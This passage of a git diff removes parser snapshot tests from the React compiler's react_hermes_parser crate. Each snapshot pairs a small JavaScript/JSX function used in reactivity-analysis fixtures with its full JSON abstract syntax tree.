-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    32,
-                    33
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    36,
-                    38
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  32,
-                  38
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              39
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                46,
-                47
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "const",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          61,
-                          62
-                        ]
-                      },
-                      "init": {
-                        "type": "ArrayExpression",
-                        "elements": [],
-                        "loc": null,
-                        "range": [
-                          65,
-                          67
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        61,
-                        67
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    55,
-                    68
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          73,
-                          74
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          75,
-                          79
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        73,
-                        79
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          80,
-                          81
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      73,
-                      82
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    73,
-                    83
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          88,
-                          89
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          90,
-                          94
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        88,
-                        94
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "JSXElement",
-                        "openingElement": {
-                          "type": "JSXOpeningElement",
-                          "name": {
-                            "type": "JSXIdentifier",
-                            "name": "div",
-                            "loc": null,
-                            "range": [
-                              96,
-                              99
-                            ]
-                          },
-                          "attributes": [],
-                          "selfClosing": false,
-                          "loc": null,
-                          "range": [
-                            95,
-                            100
-                          ]
-                        },
-                        "children": [
-                          {
-                            "type": "JSXExpressionContainer",
-                            "expression": {
-                              "type": "Identifier",
-                              "name": "y",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                101,
-                                102
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              100,
-                              103
-                            ]
-                          }
-                        ],
-                        "closingElement": {
-                          "type": "JSXClosingElement",
-                          "name": {
-                            "type": "JSXIdentifier",
-                            "name": "div",
-                            "loc": null,
-                            "range": [
-                              105,
-                              108
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            103,
-                            109
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          95,
-                          109
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      88,
-                      110
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    88,
-                    111
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                49,
-                115
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          127,
-                          128
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          129,
-                          133
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        127,
-                        133
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "c",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          134,
-                          135
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      127,
-                      136
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    127,
-                    137
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                121,
-                141
-              ]
-            },
-            "loc": null,
-            "range": [
-              42,
-              141
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                151,
-                152
-              ]
-            },
-            "loc": null,
-            "range": [
-              144,
-              153
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          155
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        155
-      ],
-      "loc": null,
-      "range": [
-        0,
-        155
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    155
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reactive-scopes.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reactive-scopes.js.snap
deleted file mode 100644
index 9fe8951177f7..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reactive-scopes.js.snap
+++ /dev/null
@@ -1,350 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reactive-scopes.js
----
-Input:
-function f(a, b) {
-  let x = []; // <- x starts being mutable here.
-  if (a.length === 1) {
-    if (b) {
-      x.push(b); // <- x stops being mutable here.
-    }
-  }
-
-  return <div>{x}</div>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "f",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          10
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            11,
-            12
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            14,
-            15
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    25,
-                    26
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    29,
-                    31
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  25,
-                  31
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              21,
-              32
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    74,
-                    75
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "length",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    76,
-                    82
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  74,
-                  82
-                ]
-              },
-              "operator": "===",
-              "right": {
-                "type": "NumericLiteral",
-                "value": 1.0,
-                "loc": null,
-                "range": [
-                  87,
-                  88
-                ]
-              },
-              "loc": null,
-              "range": [
-                74,
-                88
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      100,
-                      101
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                111,
-                                112
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "push",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                113,
-                                117
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              111,
-                              117
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "b",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                118,
-                                119
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            111,
-                            120
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          111,
-                          121
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      103,
-                      161
-                    ]
-                  },
-                  "alternate": null,
-                  "loc": null,
-                  "range": [
-                    96,
-                    161
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                90,
-                165
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              70,
-              165
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    177,
-                    180
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  176,
-                  181
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      182,
-                      183
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    181,
-                    184
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    186,
-                    189
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  184,
-                  190
-                ]
-              },
-              "loc": null,
-              "range": [
-                176,
-                190
-              ]
-            },
-            "loc": null,
-            "range": [
-              169,
-              191
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          17,
-          193
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        193
-      ],
-      "loc": null,
-      "range": [
-        0,
-        193
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    193
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reactivity-analysis-interleaved-reactivity.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reactivity-analysis-interleaved-reactivity.js.snap
deleted file mode 100644
index f75f4a391737..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reactivity-analysis-interleaved-reactivity.js.snap
+++ /dev/null
@@ -1,381 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reactivity-analysis-interleaved-reactivity.js
----
-Input:
-function Component(props) {
-  // a and b are technically independent, but their mutation is interleaved
-  // so they are grouped in a single reactive scope. a does not have any
-  // reactive inputs, but b does. therefore, we have to treat a as reactive,
-  // since it will be recreated based on a reactive input.
-  const a = {};
-  const b = [];
-  b.push(props.b);
-  a.a = null;
-
-  // because a may recreate when b does, it becomes reactive. we have to recreate
-  // c if a changes.
-  const c = [a];
-
-  // Example usage that could fail if we didn't treat a as reactive:
-  //  const [c, a] = Component({b: ...});
-  //  assert(c[0] === a);
-  return [c, a];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    321,
-                    322
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    325,
-                    327
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  321,
-                  327
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              315,
-              328
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    337,
-                    338
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    341,
-                    343
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  337,
-                  343
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              331,
-              344
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    347,
-                    348
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    349,
-                    353
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  347,
-                  353
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      354,
-                      359
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      360,
-                      361
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    354,
-                    361
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                347,
-                362
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              347,
-              363
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    366,
-                    367
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    368,
-                    369
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  366,
-                  369
-                ]
-              },
-              "right": {
-                "type": "NullLiteral",
-                "loc": null,
-                "range": [
-                  372,
-                  376
-                ]
-              },
-              "loc": null,
-              "range": [
-                366,
-                376
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              366,
-              377
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    490,
-                    491
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        495,
-                        496
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    494,
-                    497
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  490,
-                  497
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              484,
-              498
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    647,
-                    648
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    650,
-                    651
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                646,
-                652
-              ]
-            },
-            "loc": null,
-            "range": [
-              639,
-              653
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          655
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        655
-      ],
-      "loc": null,
-      "range": [
-        0,
-        655
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    655
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reactivity-analysis-reactive-via-mutation-of-computed-load.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reactivity-analysis-reactive-via-mutation-of-computed-load.js.snap
deleted file mode 100644
index 4c39d1019865..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reactivity-analysis-reactive-via-mutation-of-computed-load.js.snap
+++ /dev/null
@@ -1,407 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reactivity-analysis-reactive-via-mutation-of-computed-load.js
----
-Input:
-function Component(props) {
-  const items = bar();
-  mutate(items[props.key], props.a);
-
-  const count = foo(items.length + 1);
-
-  return { items, count };
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "items",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    41
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "bar",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      44,
-                      47
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    44,
-                    49
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  49
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              50
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  53,
-                  59
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "items",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      60,
-                      65
-                    ]
-                  },
-                  "property": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        66,
-                        71
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "key",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        72,
-                        75
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      66,
-                      75
-                    ]
-                  },
-                  "computed": true,
-                  "loc": null,
-                  "range": [
-                    60,
-                    76
-                  ]
-                },
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      78,
-                      83
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      84,
-                      85
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    78,
-                    85
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                53,
-                86
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              53,
-              87
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "count",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    97,
-                    102
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      105,
-                      108
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "BinaryExpression",
-                      "left": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "items",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            109,
-                            114
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "length",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            115,
-                            121
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          109,
-                          121
-                        ]
-                      },
-                      "operator": "+",
-                      "right": {
-                        "type": "NumericLiteral",
-                        "value": 1.0,
-                        "loc": null,
-                        "range": [
-                          124,
-                          125
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        109,
-                        125
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    105,
-                    126
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  97,
-                  126
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              91,
-              127
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ObjectExpression",
-              "properties": [
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "items",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      140,
-                      145
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "items",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      140,
-                      145
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    140,
-                    145
-                  ]
-                },
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "count",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      147,
-                      152
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "count",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      147,
-                      152
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    147,
-                    152
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                138,
-                154
-              ]
-            },
-            "loc": null,
-            "range": [
-              131,
-              155
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          157
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        157
-      ],
-      "loc": null,
-      "range": [
-        0,
-        157
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    157
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reactivity-analysis-reactive-via-mutation-of-property-load.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reactivity-analysis-reactive-via-mutation-of-property-load.js.snap
deleted file mode 100644
index cc47ca79385e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reactivity-analysis-reactive-via-mutation-of-property-load.js.snap
+++ /dev/null
@@ -1,388 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reactivity-analysis-reactive-via-mutation-of-property-load.js
----
-Input:
-function Component(props) {
-  const items = bar();
-  mutate(items.a, props.a);
-
-  const count = foo(items.length + 1);
-
-  return { items, count };
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "items",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    41
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "bar",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      44,
-                      47
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    44,
-                    49
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  49
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              50
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  53,
-                  59
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "items",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      60,
-                      65
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      66,
-                      67
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    60,
-                    67
-                  ]
-                },
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      69,
-                      74
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      75,
-                      76
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    69,
-                    76
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                53,
-                77
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              53,
-              78
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "count",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    88,
-                    93
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      96,
-                      99
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "BinaryExpression",
-                      "left": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "items",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            100,
-                            105
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
